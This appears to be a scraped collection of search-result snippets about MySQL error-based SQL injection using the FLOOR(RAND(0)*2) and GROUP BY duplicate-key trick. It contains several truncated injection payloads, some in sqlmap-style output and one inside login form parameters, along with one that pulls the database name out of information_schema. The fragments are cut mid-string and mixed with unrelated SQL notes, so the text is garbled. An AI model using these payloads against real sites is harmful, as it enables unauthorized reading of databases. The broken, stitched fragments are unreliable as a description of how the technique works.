The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
...Gara)+AND+(SELECT+6251+FROM(SELECT+COUNT(*),CONCAT(0x7176786b71,(SELECT+(ELT(6251=6251,1))),0x717a6b7171,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)+AND+(1463=1463.
GROUP_CONCAT(). Return a concatenated string.
...CONCAT(0x71706a7171,(SELECT (ELT(3422=3422,1))),0x717a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CjtO'='CjtO # # Type: AND/OR
...31825' AND (SELECT 4394 FROM(SELECT COUNT(*),CONCAT(0x717a766b71,(SELECT (ELT
...Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) #. Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT
and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a).
SELECT * FROM (SELECT uid, COUNT(*) AS count FROM my_table GROUP BY 1 ORDER BY 2) AS x LIMIT 1; This error usually occurs in development or test environments, as queries written like this will always error out when run, independent of the query plan or values passed in.
information_schema.tables GROUP BY x)a) AND 'CSnZ'='CSnZ&senha=UCyy&logar=logar.